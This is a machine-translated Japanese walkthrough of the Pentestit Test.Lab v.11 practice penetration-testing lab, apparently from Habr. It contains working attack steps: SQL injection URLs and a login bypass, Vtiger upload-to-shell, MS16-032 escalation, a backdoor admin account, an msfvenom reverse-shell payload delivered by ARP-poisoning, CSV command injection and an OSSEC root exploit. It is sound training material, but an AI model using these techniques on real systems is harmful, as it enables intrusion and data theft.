PentestラボPentestitテストラボv.11-完全なウォークスルー



6月30日に、 PentestitのPentest研究所が再び立ち上げられました。 長年にわたり、これらの研究所は、ビジネスプロセス、サーバー、従業員、および問題を抱える仮想企業の五ester星として自分自身をテストする機会を提供してきました。現代の脆弱性を学び、テストし、アプリケーション監査とペンテストのスキルを可能な限り実際のものに近づけます。

この研究室はすでに11番目に並んでいます。 10、9、8、7、6 番目の実験室の説明も利用でき、まだ参加していない場合は参加の準備に役立ちます。

前回と同様、11日後、実験室は12個のトークンを収集した最初の参加者に合格しました。これにより、データベースへのアクセス、Linuxサーバーでの侵入および権限昇格、またはディレクターのラップトップでのMiTM攻撃の成功など、次のタスクの完全なソリューションが確認されました仮想会社Test.Lab。

この記事では、ペンテストエリアに飛び込むか、特定のタスクがどのように解決されたかを調べることに興味があるすべての人に、Test.Lab 11ペンテストラボに合格するすべての段階について説明します。

免責事項
私はPentestitの従業員でも関連会社でもありません。 このドキュメントでは、研究室でのタスクを解決するために行った手順について説明します。 私の個人的な推奨事項と好みは、Pentestitの公式意見とはまったく関係ありません。

このドキュメントのすべての情報は、教育目的でのみ提供されています。 この文書を読み続けることで、あなたはこの情報を違法な目的に使用しないことに同意し、あなたとあなただけがこの文書から得られた行動または知識に対して完全に責任があることを確認します。 このドキュメントの作成者とPentestitは、このドキュメントを読んだ結果得られた知識と方法を使用した結果として誰かに生じた損害について責任を負いません。

実験室への接続


開始する前に、ラボに登録し、VPN接続を設定して、Test.Lab仮想企業ネットワークに接続する必要があります。

ここに登録 、接続するためにこれらの指示に従ってください

テストのために、 Kali Linuxを仮想マシンにインストールできます。これは、ペンテスター向けの特別なLinuxディストリビューションで、作業に必要なものがすべて揃っています。 あなたがそうしていなければ、今がその時です。

テストを開始


接続後、2つのゲートウェイ192.168.101.10と192.168.101.11が使用可能になり、その背後に次のネットワークが隠されます。


情報を収集します


今回は架空の会社名についての伝説はないことを考えると、オープンソースからの情報の受動的な収集は役に立たないでしょう。 それでは、ポートスキャンに移りましょう。



結果から、非標準ポート2222に2つのサイト(会社のメインサイトと後述のCRM)、メールサービス(WebメールとSMTPへのアクセス)、およびSSHがあることが明らかです。-p-キーを使用してすべてのポートをスキャンすると、ホスト192.168.101.10のポート1194でOpenVPNを見つけることもできます。

UDPポートをスキャンすることも役立ちますが、使用可能なサービスを1つずつ分析し始めます。

ペンテストの開始時に、今後の攻撃の最も現実的な目標を決定する必要があります。 そのため、キーによる認証を必要とするSSHサーバーと、接続用の構成ファイルを必要とするOpenVPNサーバーをすぐに切断できます(ただし、他の脆弱性がない場合はOpenVPNのオプションが可能です)。 さらに、メールサーバー上の従業員アカウントのパスワードを取得することもできますが、そのためには、これらのレコードの名前または従業員の電子メールを知る必要があります。

ポート80でアクセス可能な会社のWebサイトをすばやく分析すると、ほとんどの「攻撃的な」リクエストが2分間ファイアウォールのIP禁止を獲得するため、Webアプリケーションファイアウォールによって保護されていることが明らかになります。 ディレクトリを検索したり、Burp Suiteなどのユーティリティを使用してアクティブにスキャンすると、永続的な403エラーが発生します。



Vtiger CRMシステムに焦点を当てています。これは、一見、私たちが探している非常に手軽な果物です。



一見、VtigerシステムはWAFによって保護されておらず、バージョン6.3.0にはこのサーバーでシェルを取得できる脆弱性が含まれています。



しかし、残念ながら、すべてがそれほど高速というわけではありません-ご覧のとおり、最初にCRMにログインする必要があります。この脆弱性はRCEで認証されているためです。 もっと詳しく調べましょう!

CRM学習


サブディレクトリに興味深いものが見つからず、Vtiger 6.3.0( こちらからダウンロードできます )のコピーをインストールすると、デフォルトのユーザー名がadminであることがわかります。 パスワードを見つけるためにBurp Suiteを使用してみましょう。

この記事では、KaliやBurp Suiteなどのツールのセットアップではなく、特定のラボタスクの詳細に焦点を当てます。 ツールのレビューはこの記事の範囲外ですが、ネット上でこれに関する多くの詳細があります。

ユーザー管理者で、SecLists(10万パスワード)の大きな辞書を使用してパスワードを検索するようにBurp Suiteをセットアップした後、必要なパスワードを取得します。



最後に、システムに移動します。



CRMの管理者のパスワードとニックネームから判断すると(右上隅に注意を払ってください-メールを受信する際にも引き続き役立ちます)、管理者がスターウォーズの真剣なファンであることは明らかです。

上記の脆弱性を使用して、認証後にシェルをダウンロードします。 これを行うには、Burp Suiteでトラフィックのインターセプトを有効にした後、 CRM設定→テンプレート→会社の詳細に移動し、ロゴを編集して単一行のシェルに変更します。



Burpでリクエストをインターセプトした後、ダウンロードしたファイルにPHP拡張機能を返します(PHPファイルをすぐにロードしますが、ロードしたオブジェクトのMIMEタイプをBurp Suiteでimage / jpegに変更します)。 別途、ロードされたシェル内の文字列「php」の出現を削除する必要があることに注意する必要があります。そうしないと、Vtiger CRMはそのような「画像」を除外します(<?文字が必要です):



これで、シェルを使用してトークンを検索しながらサーバーを歩き回ることができます。



できた! 最初のトークンが取得されます。

ネットワーク内に進入


私たちが思い出すように、CRMを取得した後、管理者は、電子メールadmin@test.labで、スターウォーズのファンであることが明らかになりました。 CRMの管理者ニックネームをパスワードとして使用して、admin @ test.labとしてログインしてみましょう。



techユーザー用のSSHキーがありました:



このキーを使用して、SSHサーバーに接続できます。



したがって、私たちは会社の支店のネットワーク内にいることに気づきます。 新しいサーバーに接続したら、ネットワーク内でのさらなる昇格や特権エスカレーションに利用できる情報を理解するために、あらゆる側面からそれを調査することが有用です。 チェックする必要があるものの良いチェックリストは、 ここにあります

特にcrontabを調べたところ、OpenVPNへの接続があることがわかりました。 スクリプト自体は/ optフォルダーでは使用できないにもかかわらず、有用なものを抽出できます。



したがって、Office-2のユーザー名と、接続に必要な証明書を見つけます。 このデータに基づいて必要な構成ファイルをコンパイルしたら(下記)、 OpenVPNのパスワードを列挙するスクリプトを使用します 。 外部OpenVPNが試行するたびにオフにならないように、スクリプトを少し変更する必要があります。

 client dev tun proto tcp remote 192.168.101.10 1194 auth-user-pass resolv-retry infinite persist-key persist-tun comp-lzo verb 3 <ca> -----BEGIN CERTIFICATE----- MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0 NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS 48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7 Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/ /fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ vwj14awsaPvMoIgk8C8Zrkuu -----END CERTIFICATE----- </ca> 

スターウォーに基づいた小さな辞書を使用してパスワードを選択します(結局、管理者は既に理解しているようにファンです)。



そして、内部VPNに正常に接続すると、上記のネットワーク図に表示されているサブネット172.16.0.0/24を確認できます。

攻撃サイト


内部ネットワークへのアクセスを取得し、nmapを使用してスキャンを実行すると、172.16.0.11:80で、外部からアクセスできる同じサイトが見つかりましたが、現在はWAF保護がありません。 ページのソースコードを少し調べたところ、Wordpressバージョン4.8に直面していることが明らかになりました。これは、/ wp-content / plugins / kittycatfish-2.2 /にあるSQLインジェクションに対して脆弱な kittycatfishプラグインの目をすぐに引きつけます。



このエクスプロイトの説明は、kc_adパラメーター内のbase.css.phpファイルにインジェクションがあることを示しています。 GitHubで検索してみましょう。

 $kc_ad = $_GET['kc_ad']; $kc_ad_meta = kittycatfish_ad_get_meta($kc_ad); 

kittycatfish.phpを学習すると、値kc_ad_cssがCSSに追加されていることが明らかになり、それに応じて、注入は次のようになります。

  http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(select%20@@version) 



バージョンが受信されます。 テーブルの名前を取得します。

 http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(table_name)%20FROM%20information_schema.tables%20WHERE%20table_schema=database()%20GROUP%20BY%20table_name%20LIMIT%200,1) 

そして最後に、列名のトークン:

 http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,(SELECT%20GROUP_CONCAT(column_name)%20FROM%20information_schema.columns%20WHERE%20table_name=0x746c5f746f6b656e%20GROUP%20BY%20table_name%20LIMIT%200,1) 



できた! ところで、すべての16進値は次のコマンドで受信されます。

 $ echo -n kc_ad_css | xxd -p 6b635f61645f637373 $ echo -n tl_token | xxd -p 746c5f746f6b656e 

RDPトークン


SSH:コンピューター192.168.13.1-3に接続することで利用可能になった「The Second Office」ブランチのネットワークにしばらく戻り、利用可能なポートをスキャンします(pingに応答しないため、-Pnスイッチを使用する必要があります)。



RDPを見つけたら、〜C-SSHクライアントのコマンドコンソールを使用して、必要なポートを事前に転送して、RDPへの接続を試みます。



リモートデスクトップには、接続時にユーザー名を転送しない場合にコンピューター上のユーザーのリストを検索できる機能があります。 xfreerdpを使用して実行しましょう。

 xfreerdp /v:127.0.0.1 -sec-nla /u:"" 



ユーザー名を受け取った後、 クローバーを使用してパスワードを見つけます-RDPの場合、私の経験では、それは常にHydraやMedusaよりも優れています:



パスワードを正常に選択すると、RDPに到達します。



ユーザーarm554で興味深いものが見つからなかったため、次に進みます。 たとえば、このビデオで説明されているように、 ms16_032を使用して特権を増やしてみましょう。

 xfreerdp /v:127.0.0.1 /u:"arm554" /drive:share,/root/pentestit 

Exploit DBからMS16-032.ps1をコピーすることにより、管理者権限を取得します。



次に、次のコマンドを使用して、新しい管理ユーザーを作成します。

 net user user1 <your_password> /add net localgroup administrators user1 /add 

user1としてログインすることにより、トークンを見つけることができるユーザーフォルダーにアクセスすると同時に、明らかに、armXYZユーザーパスワードのハッシュ(ファイルから判断して、arm554のみが削除されない)を取得します。



この情報は、今後ADを取得するために役立ちます。

マシン192.168.13.1に加えて、ブランチでは、john.txtより大きい辞書を使用して、マシン192.168.13.2および192.168.13.3のユーザー「ユーザー」に適切なパスワードを見つけることができます。

ADのパスハッシュ


RDPを受信して​​ハッシュを抽出した後、ネットワーク図によると172.16.0.10にあるActive Directoryを攻撃する機会が得られます。 ポートスキャンは、ドメインコントローラーであることを確認するだけです(同時に、その名前はTEST.LABです)。



Metasploitのkerberos_enumusersモジュールを使用して、Kerberosを使用してarm554の存在を確認します。



Windows 2012がインストールされていることを前提に、SMBv3を介してパスザハッシュを試してみましょう。



利用可能な共有のリストを受け取ったら、ファイルのアドレス指定を試みます。



トークンが受信され、次の内容のnetwork_test.txtファイルが受信されます。

 Hi, mate! Need to test ARP-table in DIR subnet. I'll install intercepter <       DIR> 

最初にネットワーク図に示されている172.168.0.252ルーターにアクセスする必要があるため、このサーバーにはまだアクセスできません。 したがって、サブネット172.16.0.0/24の調査を続けます。

CUPSトークン


ネットワークダイアグラムにCUPSとして表示されるマシン172.16.0.14の80番目のポートには、次のページがあります。



管理パネルは、基本認証によって閉じられたアドレスにつながりますが、ローカルストレージには、おそらくログインフォーム付きの自己記述Webアプリケーションが表示されます。 いくつかの基本的なパスワードを試した後、SQLインジェクションが存在すると想定し、次のデータを使用してシステムに入ります。

 admin admin' or 1=1 -- - 

その後、システムで行われたスキャンが利用可能になります。 特に、ネットワークの最後の部分を隠すルーターに接続するための秘密鍵を見つけます。



各文字を解析して画像から正しくリサイクルするために印象的な時間を費やしたので、私はmorganと呼ばれるルーターに接続できます。



sshuttleを使用して、192.168.10.0 / 24、192.168.11.0 / 24、および192.168.12.0/24サブネット上のポートを便利に転送します。



DIRの中間者-DIRECTORコンピューターへのアクセスを取得します


DIRネットワークをスキャンし、ADで見つかったログインとパスワードを使用した後、RDP経由で192.168.12.2に接続し、ドメインコントローラーからの情報に記載されているように、SoftフォルダーでIntercepterを見つけます。



まず、サブネット内でARPポイズニングを実行して、192.168.12.1(ディレクターのマシン)と192.168.12.3(ポート80にWebサーバーがあるマシン)が互いに通信するかどうかを確認しましょう。 これを行うには、ネットワークをスキャンします。



必要なマシンが見つかったら、スクリーンショットに示すように設定を行います。



この場合、192.168.12.3はゲートウェイではないにもかかわらず、外部ネットワークとのディレクターのマシンの通信ではなく、このサブネット内の通信に関心があるため、ゲートウェイとして設定します。 Intercepter-NGは、マシン12.2である192.168.12.1とマシン12.3である12.1に応答します。 この設定の後、rawパケットタブに移動し、「ポート3389ではない」Pcapフィルターを設定して、マシン12.2と常に交換するRDPパケットを除外します。



その後、攻撃を実行するためにスニッフィング、NATおよびARPポイズニングを実行する必要があります。



すぐに、ディレクターがWebサーバー192.168.12.3からquake3.exeをダウンロードしようとしていますが、エラー404を受け取ります。


この厄介な状況を修正するには、次のコマンドで逆シェルペイロードを生成します。

 msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=80 -f exe > quake3.exe 

ファイルがRDPサーバーにアップロードされた後、HTTP応答でこのファイルの実装を構成します。 これを行うには、SSLストリップを有効にします(ファイルはSSLを介してダウンロードされませんが、これはIntercepterでMiTMを有効にするために必要です):



次に、ダウンロードした「fake」quake3.exeを選択して実装を構成します。



次に、netcatリスナーを実行し、ファイアウォール経由で有効にします。



最後に、ARPポイズニングを再度有効にして、Webサーバーからの応答としてquake3.exeを挿入すると、シェルが取得されます。



ドキュメントでは、SSHキーと次のトークンを見つけます!



さらに、192.168.12.2自体を調べた後、todoファイルを見つけることができます。これは後で役立ちます。



見つかったキーのおかげで、ルーター(CUPSで見つかったキー)とディレクターのマシンで見つかったリモートキーを介してアクセスできるマシン192.168.11.1を入力することができます。

ADMINへの切り替え


リモートキーを使用して192.168.11.1に接続すると、ネットワーク上の他のコンピューターに転送するフォームが取得されます(つまり、aengineerユーザーと保存されたキーを使用してSrv1 = 172.16.0.16、またはSrv2 = 192.168.10.1ログインaengineerを使用します)。



ここにコマンドインジェクションがあり、このスクリプトを超えて11.1に到達できることがわかります。 ;、|、&などの標準のコマンド区切り文字を使用して、これを実行してみましょう。



セミコロンがトリガーされます! スリープを追加すると、コンソールは数秒間フリーズします。 さらに、Srv1またはSrv2の代わりに別の何かを書くと、STDERRからメッセージを受け取り、正常に実行されたコマンドの出力は非表示になっていることがわかります。 標準出力をSTDERRにリダイレクトして、結果の出力を取得してみましょう。



うまくいく! 次に、この手法を使用して、完全なシェルを取得します。



/ opt / ghフォルダーには、サーバー名を要求するスクリプトがあります。 ご覧のとおり、コマンドインジェクションの脆弱性があります(同時に、bashフィルターもあります。これはダッシュでバイパスしました)。 このサーバーを調べて、唯一の有用な情報はaengineerキーであり、これを使用して172.16.0.16および192.168.10.1に接続し、コピーできます。



したがって、管理ネットワークにアクセスできました。

接続する


エンジニアとして192.168.10.1に接続すると、192.168.12.2で見つかったファイルが、ポート2020で192.168.10.1のサーバーへのFTP接続に言及したことを思い出してください。念のため、このポートでnetcatリスナーを有効にしてみてください。



そして、サーバーは実際に接続を取得しますが、それ以上何も起こりません。 FTP接続なので、接続する側がログインする前にFTPサーバーからの挨拶を待っていると仮定するのは論理的です。 これを簡単なコマンドでシミュレートします。



トークンを受け取りました!

CLOUDの盗聴


192.168.10.1を継続すると、このマシンのユーザーaengineerからtcpdumpが許可されていることがわかります。 通常、この構成にはルート権限が必要ですが、 ここでは明らかに異なる構成になっています 。 一般に、多くの興味深いことを伝えることができるので、任意のマシンでトラフィックを記録する機能をチェックすると便利です。 次のようにやってみましょう:



次に、Wiresharkでファイルを開くと、192.168.10.2と192.168.10.3(CLOUD)の間のトラフィック、次のコンテンツを見つけることができます。



ご覧のとおり、クラウドサーバーに対するユーザーuserのパスワードが見つかりました。 やってみよう:



わかった! my_store.kdbxという名前のkeepass-storeが見つかりました。 keepas2johnユーティリティを使用してハッシュを抽出し、パスワードを見つけようとします。



hashcatをセットアップしてパスワードを見つけます:



写真では、選択を容易にするために、パスワードの最後の4文字のみが特別にぼやけています。 パスワードはrockyou.txt辞書にあります。 このパスワードをkeepassに入力して、CLOUDトークンを取得してください!

CLAMAVを使用します


192.168.11.5をスキャンすると、sendmailサービスが見つかります。これはおそらくClamavです。 適切なエクスプロイトを使用して推測を確認しましょう。 リバースシェルを介したバックコネクトが192.168.10.1でのみ機能することが明らかになるまで、しばらく時間がかかりました。


シェルを手に入れた! しかし、トークンはまだ利用できません。 マシンに、インストールされたossecの形式でこのネットワークの非標準構成があることを考えると、特権をエスカレートする必要があるという疑いがあります。 これを行うには、ossecでエクスプロイトを探します。



最も可能性の高いエクスプロイト番号37265は、これまでに利用可能な最後のローカルルートエクスプロイトです。 エスカレートするには、次を実行します。

  1. ホームディレクトリ/ home / clamavに「foo-$(chmod 777 etc)」という名前のファイルを作成します(スラッシュは使用できず、ossecコマンドはルートディレクトリで実行されます-この制限をバイパスする場合は、cdを使用します)
  2. このファイルを編集して、同じディレクトリに別のファイルを作成します
  3. etcフォルダーに必要な権限がインストールされたら、passwdファイルを削除し、ID 0および既知のパスワードを持つ別のユーザーで必要なファイルを作成します
  4. このユーザーにsuを作る

私たちの場合、判明したように、ルートディレクトリの内容を読み取るだけです。



Clamavトークンを受け取りました。 完了したら、他の参加者への通路を損なわないように、ディレクトリの権利をその場所に戻す価値があります。

トークンアクセス制御


エンジニアとしてマシン172.16.0.16に接続すると、次のことがわかります。



トークンはwww-dataユーザーからのみ使用でき、厳しいアクセス許可のためにWebサーバーからアクセスできません。 ftpclient.py、login.php、parse.phpのソースコードを確認すると、次のことが明らかになります。

  1. ログインするには、 172.16.0.16 / parse.php?auth = asdfgtgrfedQWERsdfdに移動します
  2. parse.phpファイルには、ftpclient.pyとそれに指定された資格情報を使用してFTPサーバー172.16.0.17から定期的にダウンロードされるdb.csvからのデータが表示されます
  3. ダウンロードはルートとして実行されるため、クライアント上のファイルを変更する方法はありません
  4. parse.phpファイル内では、日付はdb.csvから別の形式に変換されますが、コマンドインジェクションの脆弱性があります


  5. トークンは、ユーザーwww-dataからの読み取り専用に使用できます。

したがって、権限をwww-dataに昇格させるには、db.csvファイルに必要なコマンドを埋め込む必要があります。

 Name;Surname;In;Out;ID Mireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611 

ftpclient.pyから172.16.0.17のFTPサーバーのユーザー名とパスワードを抽出できますが、残念なことに、db.csvファイルは読み取り専用なので、置き換える方法はありません。 この段階では、192.168.11.1から抽出されたaengineerユーザーSSHキーが既にあることを思い出しておくと便利です。その下に移動してみましょう。



うまくいきました! そして今、パーミッションからわかるように、aengineerはdb.csvに書き込むことができます。 ファイルを手動で更新すると、データベースから常に更新されていることがわかります。 新しいファイルを常に利用できるように、bashで短いループを作成します。

 while true; do python -c 'print "Name;Surname;In;Out;ID\nMireya;Bain;1498292760.0|chmod 777 /var/www/html/token.sec;1498310760.0;38611"' > db.csv; sleep 2; done 

そして今、db.csvファイルは172.16.0.16ですでに更新されています!



次に、parse.phpページに移動して、db.csvからコマンドを実行します。


これでトークンを読み取ることができます!



次に、以前の権利400を同じ方法でtoken.secファイルに戻し、実験室の他の参加者への通路を損なわないようにします。 別のトークンが取得されます。

魔法のヘルプデスク


ご覧のとおり、このラボには、興味のない、または実質的に不死身のマシンがいくつかあります。これにより、ネットワーク上のすべてのコンピューターに脆弱性があるわけではない、実際のネットワークにさらに近づくことができます。 したがって、常に新しいサービスを検索するには、ネットワークのスキャンを継続することが重要です。

192.168.11.3をスキャンすると、Ticketサービスアプリケーション(HELPDESK)が発生している開いている80番目のポートが見つかります。


dirsearchを使用して隠しディレクトリを探した後、 / adminフォルダー(基本認証で閉じられた)、 / _ adminに login.phpファイルのコピー、 / templatesにhead.htmlファイル、およびフォントやcssなどのあまり興味のないフォルダーが見つかります。

アプリケーションを学習すると、内部の別のページに移動するときに、ユーザーからoper_1 / 2および管理者に至るまでのさまざまなユーザーとしてログインする必要があることに気付くでしょう。明らかに、私たちの主な目標です。

URLのcatパラメーターは、失敗した試行と/templates/head.htmlファイルに基づいて、Local File Inclusionなどの脆弱性を示唆しているという事実にもかかわらず、この脆弱性は存在しないと結論付けることができます。 さらに、SQLおよびNoSQLインジェクション、および他のいくつかの脆弱性を確認した後、指定されたユーザーのパスワードを取得することを決定します:admin / user / oper_1 / oper_2、およびチケットに記載されているユーザー:


CRMと同じようにBurp Suiteを使用し、クラスターボムモードでのみ、ユーザー/パスワードとoper_2 / oper_2パスワードを取得しましたが、残念ながら、管理者としてログインするのに適したものはありませんでした。 さらに、チケットを編集または削除するためのフォームが利用可能になり、それらの脆弱性を見つけることが可能になれば、希望はなくなりました。

私の意見では、このトークンは実験室で最も困難で興味深いものでした。 /login.phpと/_admin/login.phpの2つのエントリポイントのみを持つWebアプリケーションがありますが、いずれにも肉眼で検出できる脆弱性は含まれていません。

チケットを調べた後、伝説によると、アプリケーションの作成者がハッシュの問題を修正したという事実に注意を払います。 PHPハッシュの脆弱性を検索した後、ソリューションの鍵であるMagic Hashesを見つけました。この記事では、脆弱性の本質を十分詳細に説明しています(ロシア語版も利用可能です)ので、ここでは詳細な説明を繰り返しません。

この脆弱性は、PHPタイプジャグリングにより、異なるパスワードからの異なるハッシュ(MD5、SHA1など)が、自動タイプ変換により等しくなる可能性があることです。

両方のlogin.phpページでadminユーザーのパスワードとして記事に記載されているハッシュを試した後、長い試行の後、ハッシュはユーザー名+パスワードから取得されることがわかります。次に、要件を満たす新しいハッシュを探しないように、MD5ハッシュとSHA1ハッシュを2つの部分に「分割」し、次のリンクを使用して管理者にアクセスします。http//192.168.11.3/_admin/login.php?login = 10932
password = 435112

最後に、削除済みチケットタブが使用可能になります。ここでは、待ちに待っていたHELPDESKトークンと、SCREENトークンを受け取るためのSSHからのパスワードが待機しています。


SCREEN特権エスカレーション


HELPDESKからSSHサーバーのパスワードを受け取ったら、中に入って見て回ることができます:



しかし、残念ながら、それほど遠くない-制限されたbash(rbash)シェルに制限されており、共有ファイルシステムへのアクセスを禁止し、コマンドでスラッシュを使用します。通常、次のように、制限されたbashを非常に簡単に終了できます。



メインシステムを見てみると、トークンが/ home / tester / tokenにあることがわかりますが、読み取る権限がありません。さらに、次のスクリプトを実行するマシンのcronにエントリがあります。スクリプト



のソースコードは次のとおりです。

 #!/usr/bin/perl -w if (!-l $ARGV[0] && -f $ARGV[0]) { open $file1, $ARGV[0]; $fname = <$file1>; chomp($fname); open ($file2, $fname) or die("$!"); open $file3, '>>', "/tmp/testlog"; $line = <$file2>; chomp ($line); print $file3 $line, "\n"; close $file2; close $file3; close $file1; unlink($ARGV[0]); sleep(1); open $file1, '>', "/tmp/testlog"; close $file1; } else { exit(0); } 

スクリプトと起動パラメータからわかるように、/ build / log /のファイルから読み取るためのファイル名を受け取り、このファイルを開いて/ tmp / testlogの内容を表示し、/ build / logの処理済みファイルを削除して1秒間待機します。その間、ファイルの内容が利用可能になります。コマンドはユーザーテスターに​​代わって実行されるため、トークンの値を抽出するためにこれを利用できます。残っているのは、/ build / log /にファイルを作成することだけです。残念ながら、ユーザーjohnはそこにアクセスできません。修正してみましょう。

/ buildフォルダーには、SGIDビットが設定されている画面も含まれています。これは、画面がutmpグループに代わって実行されることを意味します。



同時に、utmpグループに代わって/ build / logフォルダーに書き込むことができます。 screenコマンドで-Lスイッチを使用すると、次のファイルを作成できます。



ご覧のとおり、このファイルはjohnに代わって正常に作成されました。 johnに対するこのファイルへの書き込み権限を含め、そこで読み取りたいファイルへのパスを追加してから、ログファイルの出力をループで実行します。



したがって、最後のSCREENトークンが受信されます。

ここにある資料はすべて教育目的でのみ提供されているので、研究室の通過に関するコメントを歓迎します。特定の問題を解決するさまざまな方法について、できるだけ多くの人に学んでもらいましょう。

まだ研究室を通り抜けて、ネットワーク上で各車に乗る喜びを経験できていない人たちに幸運を祈ります。

興味深く、洗練された、現実的なラボを提供してくれたPentestitに感謝します!この点に到達した読者に感謝します。

新しい研究室でお会いしましょう!

Source: https://habr.com/ru/post/J332902/


All Articles